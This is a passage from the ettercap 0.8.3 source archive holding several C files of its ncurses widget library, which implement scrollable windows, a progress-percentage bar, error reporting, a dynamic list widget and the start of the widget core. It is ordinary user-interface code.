~WDG_OBJ_FOCUSED; /* redraw the window */ wdg_scroll_redraw(wo); return WDG_E_SUCCESS; } /* * called by the messages dispatcher when the window is focused */ static int wdg_scroll_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_scroll, ww); size_t c = wdg_get_ncols(wo); size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); /* handle the message */ switch (key) { case KEY_MOUSE: /* is the mouse event within our edges ? */ if (wenclose(ww->win, mouse->y, mouse->x)) { /* get the focus only if it was not focused */ if (!(wo->flags & WDG_OBJ_FOCUSED)) wdg_set_focus(wo); if (mouse->x == x + c - 1 && (mouse->y >= y + 1 && mouse->y <= y + l - 1)) { wdg_mouse_scroll(wo, mouse->y); WDG_PAD_REFRESH(ww, c, l, x, y); wnoutrefresh(ww->win); } } else return -WDG_E_NOTHANDLED; break; /* handle scrolling of the pad */ case KEY_UP: wdg_set_scroll(wo, ww->y_scroll - 1); WDG_PAD_REFRESH(ww, c, l, x, y); wnoutrefresh(ww->win); break; case KEY_DOWN: wdg_set_scroll(wo, ww->y_scroll + 1); WDG_PAD_REFRESH(ww, c, l, x, y); wnoutrefresh(ww->win); break; case KEY_NPAGE: wdg_set_scroll(wo, ww->y_scroll + (l - 2)); WDG_PAD_REFRESH(ww, c, l, x, y); wnoutrefresh(ww->win); break; case KEY_PPAGE: wdg_set_scroll(wo, ww->y_scroll - (l - 2)); WDG_PAD_REFRESH(ww, c, l, x, y); wnoutrefresh(ww->win); break; /* message not handled */ default: return -WDG_E_NOTHANDLED; break; } return WDG_E_SUCCESS; } /* * draw the borders and title */ static void wdg_scroll_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_scroll, ww); size_t c = wdg_get_ncols(wo); /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); wbkgdset(ww->win, COLOR_PAIR(wo->focus_color)); } else wbkgdset(ww->win, COLOR_PAIR(wo->border_color)); /* draw the borders */ box(ww->win, 0, 0); /* draw the elevator */ wdg_set_scroll(wo, ww->y_scroll); /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); /* there is a title: print it */ if (wo->title) { switch (wo->align) { case WDG_ALIGN_LEFT: wmove(ww->win, 0, 3); break; case WDG_ALIGN_CENTER: wmove(ww->win, 0, (c - strlen(wo->title)) / 2); break; case WDG_ALIGN_RIGHT: wmove(ww->win, 0, c - strlen(wo->title) - 3); break; } wprintw(ww->win, wo->title); } /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) { wattroff(ww->win, A_BOLD); wbkgdset(ww->win, COLOR_PAIR(wo->focus_color)); } else wbkgdset(ww->win, COLOR_PAIR(wo->border_color)); } /* * erase the subwindow */ void wdg_scroll_erase(wdg_t *wo) { WDG_WO_EXT(struct wdg_scroll, ww); size_t c = wdg_get_ncols(wo); size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); werase(ww->sub); WDG_PAD_REFRESH(ww, c, l, x, y); } /* * print a string in the window */ void wdg_scroll_print(wdg_t *wo, int color, char *fmt, ...) { WDG_WO_EXT(struct wdg_scroll, ww); size_t c = wdg_get_ncols(wo); size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); va_list ap; WDG_DEBUG_MSG("wdg_scroll_print"); /* move to the bottom of the pad */ wdg_set_scroll(wo, ww->y_max - l + 1); wbkgdset(ww->sub, COLOR_PAIR(color)); /* print the message */ va_start(ap, fmt); vw_printw(ww->sub, fmt, ap); va_end(ap); wbkgdset(ww->sub, COLOR_PAIR(wo->window_color)); WDG_PAD_REFRESH(ww, c, l, x, y); } /* * set the dimension of the pad */ void wdg_scroll_set_lines(wdg_t *wo, size_t lines) { WDG_WO_EXT(struct wdg_scroll, ww); size_t c = wdg_get_ncols(wo); size_t l = wdg_get_nlines(wo); size_t oldlines = ww->y_max; WDG_DEBUG_MSG("wdg_scroll_set_lines"); /* resize the pad */ wresize(ww->sub, lines, c - 2); /* do the proper adjustements to the scroller */ ww->y_max = lines; wdg_set_scroll(wo, ww->y_max - l + 1); /* adjust only the first time (when the user requests the change) */ if (oldlines != lines) wmove(ww->sub, ww->y_scroll + 1, 0); } /* * set the scroll pointer and redraw * the window elevator */ static void wdg_set_scroll(struct wdg_object *wo, int s) { WDG_WO_EXT(struct wdg_scroll, ww); size_t c = wdg_get_ncols(wo); size_t l = wdg_get_nlines(wo); int min = 0; int max = ww->y_max - l + 1; size_t height, vpos; /* don't go above max and below min */ if (s < min) s = min; if (s > max) s = max; ww->y_scroll = s; /* compute the scroller cohordinates */ height = (l - 2) * (l - 2) / ww->y_max; vpos = l * ww->y_scroll / ww->y_max; height = (height < 1) ? 1 : height; vpos = (vpos == 0) ? 1 : vpos; vpos = (vpos > (l - 1) - height) ? (l - 1) - height : vpos; /* hack to make sure to hit the bottom */ if (ww->y_scroll == (size_t)max) vpos = l - 1 - height; /* draw the scroller */ wmove(ww->win, 1, c - 1); wvline(ww->win, ACS_CKBOARD, l - 2); wattron(ww->win, A_REVERSE); wmove(ww->win, vpos, c - 1); wvline(ww->win, ACS_DIAMOND, height); wattroff(ww->win, A_REVERSE); } /* * jump to a scroll position with the mouse */ static void wdg_mouse_scroll(struct wdg_object *wo, int s) { WDG_WO_EXT(struct wdg_scroll, ww); size_t l = wdg_get_nlines(wo); size_t y = wdg_get_begin_y(wo); size_t base; /* calculate the relative displacement */ base = s - y - 1; /* special case for top and bottom */ if (base == 0) s = 0; else if (base == l - 3) s = ww->y_max - l + 1; /* else calulate the proportion */ else s = base * ww->y_max / (l - 2); /* set the scroller */ wdg_set_scroll(wo, s); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg_percentage.c0000644000175000017500000002000613505247364024200 0ustar koeppeakoeppea/* WDG -- percentage widget Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* GLOBALS */ struct wdg_percentage { WINDOW *win; WINDOW *sub; size_t percent; char interrupt; }; /* PROTOS */ void wdg_create_percentage(struct wdg_object *wo); static int wdg_percentage_destroy(struct wdg_object *wo); static int wdg_percentage_resize(struct wdg_object *wo); static int wdg_percentage_redraw(struct wdg_object *wo); static int wdg_percentage_get_focus(struct wdg_object *wo); static int wdg_percentage_lost_focus(struct wdg_object *wo); static int wdg_percentage_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_percentage_border(struct wdg_object *wo); /*******************************************/ /* * called to create a window */ void wdg_create_percentage(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_percentage"); /* set the callbacks */ wo->destroy = wdg_percentage_destroy; wo->resize = wdg_percentage_resize; wo->redraw = wdg_percentage_redraw; wo->get_focus = wdg_percentage_get_focus; wo->lost_focus = wdg_percentage_lost_focus; wo->get_msg = wdg_percentage_get_msg; WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_percentage)); } /* * called to destroy a window */ static int wdg_percentage_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_percentage, ww); WDG_DEBUG_MSG("wdg_percentage_destroy"); /* erase the window */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); wbkgd(ww->sub, COLOR_PAIR(wo->screen_color)); werase(ww->sub); werase(ww->win); wnoutrefresh(ww->sub); wnoutrefresh(ww->win); /* dealloc the structures */ delwin(ww->sub); delwin(ww->win); WDG_SAFE_FREE(wo->extend); return WDG_E_SUCCESS; } /* * called to resize a window */ static int wdg_percentage_resize(struct wdg_object *wo) { wdg_percentage_redraw(wo); return WDG_E_SUCCESS; } /* * called to redraw a window */ static int wdg_percentage_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_percentage, ww); size_t c, l, x, y; size_t cols; /* calculate the dimension and position */ cols = strlen(wo->title) + 2; /* set the minimum */ if (cols < 45) cols = 45; /* center on the screen, but not outside the edges */ if (cols + 4 >= current_screen.cols) wo->x1 = 0; else wo->x1 = (current_screen.cols - (cols + 4)) / 2; wo->y1 = (current_screen.lines - 7) / 2; wo->x2 = -wo->x1; wo->y2 = -wo->y1; c = wdg_get_ncols(wo); l = wdg_get_nlines(wo); x = wdg_get_begin_x(wo); y = wdg_get_begin_y(wo); /* the window already exist */ if (ww->win) { /* erase the border */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_percentage_border(wo); /* resize the actual window and touch it */ mvwin(ww->sub, y + 1, x + 1); wresize(ww->sub, l - 2, c - 2); /* set the window color */ wbkgdset(ww->sub, COLOR_PAIR(wo->window_color)); /* the first time we have to allocate the window */ } else { /* create the outher window */ if ((ww->win = newwin(l, c, y, x)) == NULL) return -WDG_E_FATAL; /* draw the borders */ wdg_percentage_border(wo); /* create the inner (actual) window */ if ((ww->sub = newwin(l - 2, c - 2, y + 1, x + 1)) == NULL) return -WDG_E_FATAL; /* set the window color */ wbkgdset(ww->sub, COLOR_PAIR(wo->window_color)); werase(ww->sub); redrawwin(ww->sub); /* initialize the pointer */ wmove(ww->sub, 0, 0); scrollok(ww->sub, TRUE); } /* refresh the window */ redrawwin(ww->sub); redrawwin(ww->win); wnoutrefresh(ww->win); wnoutrefresh(ww->sub); wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } /* * called when the window gets the focus */ static int wdg_percentage_get_focus(struct wdg_object *wo) { /* set the flag */ wo->flags |= WDG_OBJ_FOCUSED; /* redraw the window */ wdg_percentage_redraw(wo); return WDG_E_SUCCESS; } /* * called when the window looses the focus */ static int wdg_percentage_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; /* redraw the window */ wdg_percentage_redraw(wo); return WDG_E_SUCCESS; } /* * called by the messages dispatcher when the window is focused */ static int wdg_percentage_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_percentage, ww); /* handle the message */ switch (key) { case KEY_MOUSE: /* is the mouse event within our edges ? */ if (wenclose(ww->win, mouse->y, mouse->x)) wdg_set_focus(wo); else return -WDG_E_NOTHANDLED; break; case KEY_ESC: case CTRL('Q'): WDG_DEBUG_MSG("wdg_percentage_get_msg: user interrupt"); /* * user has requested to stop this task. * the next time the percentage will be set * the object will be destroyed and a correct value * will be returned. */ ww->interrupt = 1; break; /* message not handled */ default: return -WDG_E_NOTHANDLED; break; } return WDG_E_SUCCESS; } /* * draw the borders and title */ static void wdg_percentage_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_percentage, ww); size_t c = wdg_get_ncols(wo); /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); wbkgdset(ww->win, COLOR_PAIR(wo->focus_color)); } else wbkgdset(ww->win, COLOR_PAIR(wo->border_color)); /* draw the borders */ box(ww->win, 0, 0); /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); /* there is a title: print it */ if (wo->title) { wmove(ww->sub, 1, 2); wprintw(ww->sub, wo->title); } /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); /* draw the percentage bar */ wmove(ww->sub, 3, 2); whline(ww->sub, ACS_CKBOARD, c - 6); wbkgdset(ww->sub, COLOR_PAIR(wo->title_color)); //wattron(ww->sub, A_REVERSE); whline(ww->sub, ' ', ww->percent * (c - 6) / 100); //wattroff(ww->sub, A_REVERSE); } /* * set the percentage */ int wdg_percentage_set(wdg_t *wo, size_t p, size_t max) { WDG_WO_EXT(struct wdg_percentage, ww); /* set the percentage */ ww->percent = p * 100 / max; WDG_DEBUG_MSG("wdg_percentage_set: %d", ww->percent); wdg_percentage_redraw(wo); /* reached the max, selfdestruct */ if (p == max) { WDG_DEBUG_MSG("wdg_percentage_set: FINISHED"); wdg_destroy_object(&wo); wdg_redraw_all(); return WDG_PERCENTAGE_FINISHED; } /* user has requested to stop the task */ if (ww->interrupt) { WDG_DEBUG_MSG("wdg_percentage_set: INTERRUPTED"); ww->interrupt = 0; wdg_destroy_object(&wo); wdg_redraw_all(); return WDG_PERCENTAGE_INTERRUPTED; } return WDG_PERCENTAGE_UPDATED; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg_error.c0000644000175000017500000000372513505247364023225 0ustar koeppeakoeppea/* WDG -- errors handling module Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #define ERROR_MSG_LEN 200 /*******************************************/ /* * raise an error */ void wdg_error_msg(char *file, const char *function, int line, char *message, ...) { va_list ap; char errmsg[ERROR_MSG_LEN + 1]; /* should be enough */ int err_code; #ifdef OS_WINDOWS err_code = GetLastError(); /* Most likely not a libc error */ if (err_code == 0) err_code = errno; #else err_code = errno; #endif va_start(ap, message); vsnprintf(errmsg, ERROR_MSG_LEN, message, ap); va_end(ap); /* close the interface and display the error */ wdg_cleanup(); fprintf(stderr, "WDG ERROR : %d, %s\n[%s:%s:%d]\n\n %s \n\n", err_code, strerror(err_code), file, function, line, errmsg ); exit(-err_code); } /* * used in sanity check * it represent a BUG in the software */ void wdg_bug(char *file, const char *function, int line, char *message) { /* close the interface and display the error */ wdg_cleanup(); fprintf(stderr, "\n\nWDG BUG at [%s:%s:%d]\n\n %s \n\n", file, function, line, message ); exit(-666); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg_dynlist.c0000644000175000017500000003465313505247364023566 0ustar koeppeakoeppea/* WDG -- dynamic list widget Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* GLOBALS */ struct wdg_dynlist_call { int key; void (*callback)(void *); SLIST_ENTRY(wdg_dynlist_call) next; }; struct wdg_dynlist { WINDOW *win; WINDOW *sub; void * (*func)(int mode, void *list, char **desc, size_t len); void *top; void *bottom; void *current; void (*select_callback)(void *); SLIST_HEAD(, wdg_dynlist_call) callbacks; }; /* PROTOS */ void wdg_create_dynlist(struct wdg_object *wo); static int wdg_dynlist_destroy(struct wdg_object *wo); static int wdg_dynlist_resize(struct wdg_object *wo); static int wdg_dynlist_redraw(struct wdg_object *wo); static int wdg_dynlist_get_focus(struct wdg_object *wo); static int wdg_dynlist_lost_focus(struct wdg_object *wo); static int wdg_dynlist_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static void wdg_dynlist_border(struct wdg_object *wo); static void wdg_dynlist_move(struct wdg_object *wo, int key); static void wdg_dynlist_mouse(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse); static int wdg_dynlist_callback(struct wdg_object *wo, int key); /*******************************************/ /* * called to create a window */ void wdg_create_dynlist(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_dynlist"); /* set the callbacks */ wo->destroy = wdg_dynlist_destroy; wo->resize = wdg_dynlist_resize; wo->redraw = wdg_dynlist_redraw; wo->get_focus = wdg_dynlist_get_focus; wo->lost_focus = wdg_dynlist_lost_focus; wo->get_msg = wdg_dynlist_get_msg; WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_dynlist)); } /* * called to destroy a window */ static int wdg_dynlist_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dynlist, ww); struct wdg_dynlist_call *c; WDG_DEBUG_MSG("wdg_dynlist_destroy (%p)", wo); /* erase the window */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); wbkgd(ww->sub, COLOR_PAIR(wo->screen_color)); werase(ww->sub); werase(ww->win); wnoutrefresh(ww->sub); wnoutrefresh(ww->win); /* dealloc the structures */ delwin(ww->sub); delwin(ww->win); /* free the callback list */ while (SLIST_FIRST(&ww->callbacks) != NULL) { c = SLIST_FIRST(&ww->callbacks); SLIST_REMOVE_HEAD(&ww->callbacks, next); WDG_SAFE_FREE(c); } WDG_SAFE_FREE(wo->extend); return WDG_E_SUCCESS; } /* * called to resize a window */ static int wdg_dynlist_resize(struct wdg_object *wo) { wdg_dynlist_redraw(wo); return WDG_E_SUCCESS; } /* * called to redraw a window */ static int wdg_dynlist_redraw(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dynlist, ww); size_t c = wdg_get_ncols(wo); size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); WDG_DEBUG_MSG("wdg_dynlist_redraw"); /* the window already exist */ if (ww->win) { /* erase the border */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_dynlist_border(wo); /* resize the actual window and touch it */ mvwin(ww->sub, y + 2, x + 2); wresize(ww->sub, l - 4, c - 4); /* set the window color */ wbkgd(ww->sub, COLOR_PAIR(wo->window_color)); /* the first time we have to allocate the window */ } else { /* create the outher window */ if ((ww->win = newwin(l, c, y, x)) == NULL) return -WDG_E_FATAL; /* draw the borders */ wdg_dynlist_border(wo); /* create the inner (actual) window */ if ((ww->sub = newwin(l - 4, c - 4, y + 2, x + 2)) == NULL) return -WDG_E_FATAL; /* set the window color */ wbkgd(ww->sub, COLOR_PAIR(wo->window_color)); werase(ww->sub); redrawwin(ww->sub); /* initialize the pointer */ wmove(ww->sub, 0, 0); scrollok(ww->sub, FALSE); } /* refresh the window */ redrawwin(ww->sub); redrawwin(ww->win); wnoutrefresh(ww->win); wnoutrefresh(ww->sub); wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } /* * called when the window gets the focus */ static int wdg_dynlist_get_focus(struct wdg_object *wo) { /* set the flag */ wo->flags |= WDG_OBJ_FOCUSED; /* redraw the window */ wdg_dynlist_redraw(wo); return WDG_E_SUCCESS; } /* * called when the window looses the focus */ static int wdg_dynlist_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; /* redraw the window */ wdg_dynlist_redraw(wo); return WDG_E_SUCCESS; } /* * called by the messages dispatcher when the window is focused */ static int wdg_dynlist_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_dynlist, ww); /* handle the message */ switch (key) { case KEY_MOUSE: /* is the mouse event within our edges ? */ if (wenclose(ww->win, mouse->y, mouse->x)) { if (wo->flags & WDG_OBJ_FOCUSED) wdg_dynlist_mouse(wo, key, mouse); else wdg_set_focus(wo); } else return -WDG_E_NOTHANDLED; break; case KEY_UP: case KEY_DOWN: case KEY_PPAGE: case KEY_NPAGE: wdg_dynlist_move(wo, key); break; case KEY_RETURN: if (ww->current) WDG_EXECUTE(ww->select_callback, ww->current); break; /* message not handled */ default: return wdg_dynlist_callback(wo, key); break; } return WDG_E_SUCCESS; } /* * draw the borders and title */ static void wdg_dynlist_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dynlist, ww); size_t c = wdg_get_ncols(wo); /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); wbkgdset(ww->win, COLOR_PAIR(wo->focus_color)); } else wbkgdset(ww->win, COLOR_PAIR(wo->border_color)); /* draw the borders */ box(ww->win, 0, 0); /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); /* there is a title: print it */ if (wo->title) { switch (wo->align) { case WDG_ALIGN_LEFT: wmove(ww->win, 0, 3); break; case WDG_ALIGN_CENTER: wmove(ww->win, 0, (c - strlen(wo->title)) / 2); break; case WDG_ALIGN_RIGHT: wmove(ww->win, 0, c - strlen(wo->title) - 3); break; } wprintw(ww->win, wo->title); } /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); } /* * set the callback for displaying the list */ void wdg_dynlist_print_callback(wdg_t *wo, void * func(int mode, void *list, char **desc, size_t len)) { WDG_WO_EXT(struct wdg_dynlist, ww); WDG_DEBUG_MSG("wdg_dynlist_print_callback %p", func); ww->func = func; } /* * set the select callback */ void wdg_dynlist_select_callback(wdg_t *wo, void (*callback)(void *)) { WDG_WO_EXT(struct wdg_dynlist, ww); WDG_DEBUG_MSG("wdg_dynlist_select_callback %p", callback); ww->select_callback = callback; } /* * add the callback on key pressed by the user */ void wdg_dynlist_add_callback(wdg_t *wo, int key, void (*callback)(void *)) { WDG_WO_EXT(struct wdg_dynlist, ww); struct wdg_dynlist_call *c; WDG_SAFE_CALLOC(c, 1, sizeof(struct wdg_dynlist_call)); c->key = key; c->callback = callback; SLIST_INSERT_HEAD(&ww->callbacks, c, next); } /* * search for a callback and execute it */ static int wdg_dynlist_callback(struct wdg_object *wo, int key) { WDG_WO_EXT(struct wdg_dynlist, ww); struct wdg_dynlist_call *c; SLIST_FOREACH(c, &ww->callbacks, next) { if (c->key == key) { WDG_DEBUG_MSG("wdg_dynlist_callback"); /* execute the callback only if current is not NULL */ if (ww->current) WDG_EXECUTE(c->callback, ww->current); return WDG_E_SUCCESS; } } return -WDG_E_NOTHANDLED; } /* * refresh the list */ void wdg_dynlist_refresh(wdg_t *wo) { WDG_WO_EXT(struct wdg_dynlist, ww); size_t l = wdg_get_nlines(wo) - 4; size_t c = wdg_get_ncols(wo) - 4; size_t i = 0, found = 0; void *list, *next; char *desc; /* sanity check */ if (ww->func == NULL) return; /* erase the window */ werase(ww->sub); /* * update the top (on the first element) in two case: * top is not set * bottom is not set (to update the list over the current element) */ if (ww->top == NULL || ww->bottom == NULL) { /* retrieve the first element */ ww->top = ww->func(0, NULL, NULL, 0); } /* no elements */ if (ww->top == NULL) return; WDG_SAFE_CALLOC(desc, 100, sizeof(char)); /* no current item, set it to the first element */ if (ww->current == NULL) ww->current = ww->top; /* if the top does not exist any more, set it to the first */ if (ww->func(0, ww->top, NULL, 0) == NULL) ww->top = ww->func(0, NULL, NULL, 0); /* start from the top element */ list = ww->top; /* print all the entry until the bottom of the window */ while (list) { next = ww->func(+1, list, &desc, 99); /* dont print string longer than the window */ if (strlen(desc) > c) desc[c] = 0; /* the current item is selected */ if (ww->current == list) { wattron(ww->sub, A_REVERSE); wmove(ww->sub, i, 0); whline(ww->sub, ' ', c); wprintw(ww->sub, "%s", desc); wattroff(ww->sub, A_REVERSE); wmove(ww->sub, i+1, 0); found = 1; } else { wprintw(ww->sub, "%s\n", desc); } /* exit when the bottom is reached */ if (++i == l) { ww->bottom = list; break; } else { /* * set to null, to have the bottom set only if the list * is as long as the window */ ww->bottom = NULL; } /* move the pointer */ list = next; } /* if the current element does not exist anymore, set it to 'top' */ if (!found) ww->current = ww->top; WDG_SAFE_FREE(desc); wnoutrefresh(ww->sub); } /* * move the focus */ static void wdg_dynlist_move(struct wdg_object *wo, int key) { WDG_WO_EXT(struct wdg_dynlist, ww); size_t l = wdg_get_nlines(wo) - 4; size_t i = 0; void *first, *prev, *next; /* retrieve the first element of the list */ first = ww->func(0, NULL, NULL, 0); switch (key) { case KEY_UP: prev = ww->func(-1, ww->current, NULL, 0); /* we are on the first element */ if (ww->current == first) return; /* move up the list if we are on the top */ if (ww->current == ww->top) ww->top = prev; /* update the current element */ ww->current = prev; break; case KEY_DOWN: next = ww->func(+1, ww->current, NULL, 0); /* we are on the last element */ if (next == NULL) return; /* move the top if we are on the bottom (scroll the list) */ if (ww->current == ww->bottom) ww->top = ww->func(+1, ww->top, NULL, 0); /* update the current element */ ww->current = next; break; case KEY_PPAGE: while (ww->current != first) { prev = ww->func(-1, ww->current, NULL, 0); /* move up the list if we are on the top */ if (ww->current == ww->top) ww->top = prev; /* update the current element */ ww->current = prev; /* move only one page */ if (++i == l-1) break; } break; case KEY_NPAGE: while ((next = ww->func(+1, ww->current, NULL, 0)) != NULL) { /* move the top if we are on the bottom (scroll the list) */ if (ww->current == ww->bottom) { ww->top = ww->func(+1, ww->top, NULL, 0); ww->bottom = ww->func(+1, ww->bottom, NULL, 0); } /* update the current element */ ww->current = next; /* move only one page */ if (++i == l-1) break; } break; } wdg_dynlist_refresh(wo); } /* * move the focus with the mouse */ static void wdg_dynlist_mouse(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_dynlist, ww); /* we are for sure within the edges */ size_t y = wdg_get_begin_y(wo) + 2; size_t line, i = 0; void *next; /* variable currently not used */ (void) key; /* calculate which line was selected */ line = mouse->y - y; /* calculate the distance from the top */ ww->current = ww->top; while (line != 0 && (next = ww->func(+1, ww->current, NULL, 0)) != NULL) { /* update the current element */ ww->current = next; /* move until the selected line */ if (++i == line) break; } /* if double click, execute the callback */ if (mouse->event == BUTTON1_DOUBLE_CLICKED) if (ww->current) WDG_EXECUTE(ww->select_callback, ww->current); wdg_dynlist_refresh(wo); } /* * reset the focus pointer */ void wdg_dynlist_reset(wdg_t *wo) { WDG_WO_EXT(struct wdg_dynlist, ww); ww->top = NULL; ww->current = NULL; ww->bottom = NULL; wdg_dynlist_refresh(wo); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/curses/widgets/wdg.c0000644000175000017500000005251713505247364022017 0ustar koeppeakoeppea/* WDG -- widgets helper for ncurses Copyright (C) ALoR This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* GLOBALS */ /* mutexes */ static pthread_mutex_t wdg_mutex = PTHREAD_MUTEX_INITIALIZER; #define WDG_LOCK do { pthread_mutex_lock(&wdg_mutex); } while (0) #define WDG_UNLOCK do { pthread_mutex_unlock(&wdg_mutex); } while (0) /* information about the current screen */ struct wdg_scr current_screen; /* called when idle */ struct wdg_call_list { void (*idle_callback)(void); SLIST_ENTRY(wdg_call_list) next; }; static SLIST_HEAD(, wdg_call_list) wdg_callbacks_list; /* the root object (usually the menu) */ static struct wdg_object *wdg_root_obj; /* the focus list */ struct wdg_obj_list { struct wdg_object *wo; TAILQ_ENTRY(wdg_obj_list) next; }; static TAILQ_HEAD(wol, wdg_obj_list) wdg_objects_list = TAILQ_HEAD_INITIALIZER(wdg_objects_list); /* the currently focused object */ static struct wdg_obj_list *wdg_focused_obj; /* pressing this key, the event_handler will exit */ static int wdg_exit_key; /* PROTOS */ static void wdg_dispatch_msg(int key, struct wdg_mouse_event *mouse); static void wdg_switch_focus(int type); #define SWITCH_FOREWARD 1 #define SWITCH_BACKWARD 2 /* creation function from other widgets */ extern void wdg_create_compound(struct wdg_object *wo); extern void wdg_create_window(struct wdg_object *wo); extern void wdg_create_panel(struct wdg_object *wo); extern void wdg_create_scroll(struct wdg_object *wo); extern void wdg_create_menu(struct wdg_object *wo); extern void wdg_create_dialog(struct wdg_object *wo); extern void wdg_create_percentage(struct wdg_object *wo); extern void wdg_create_file(struct wdg_object *wo); extern void wdg_create_input(struct wdg_object *wo); extern void wdg_create_list(struct wdg_object *wo); extern void wdg_create_dynlist(struct wdg_object *wo); /*******************************************/ /* * init the widgets interface */ void wdg_init(void) { WDG_DEBUG_INIT(); WDG_DEBUG_MSG("wdg_init: setting up the term..."); /* initialize the curses interface */ initscr(); /* disable buffering until carriage return */ cbreak(); /* disable echo of typed chars */ noecho(); /* better compatibility with return key */ nonl(); /* set controlling key (^C^X^Z^S^Q) uninterpreted */ raw(); /* set the non-blocking timeout (10th of seconds) */ halfdelay(WDG_INPUT_TIMEOUT); /* don't flush input on break */ intrflush(stdscr, FALSE); /* enable function and arrow keys */ keypad(stdscr, TRUE); /* activate colors if available */ if (has_colors()) { current_screen.flags |= WDG_SCR_HAS_COLORS; start_color(); } /* hide the cursor */ curs_set(FALSE); /* remember the current screen size */ getmaxyx(stdscr, current_screen.lines, current_screen.cols); /* the wdg is initialized */ current_screen.flags |= WDG_SCR_INITIALIZED; /* clear the screen */ clear(); /* sync the virtual and the physical screen */ refresh(); #ifdef NCURSES_MOUSE_VERSION /* activate the mask to receive mouse events */ mousemask(ALL_MOUSE_EVENTS, (mmask_t *) 0); #endif WDG_DEBUG_MSG("wdg_init: initialized"); } /* * cleanup the widgets interface */ void 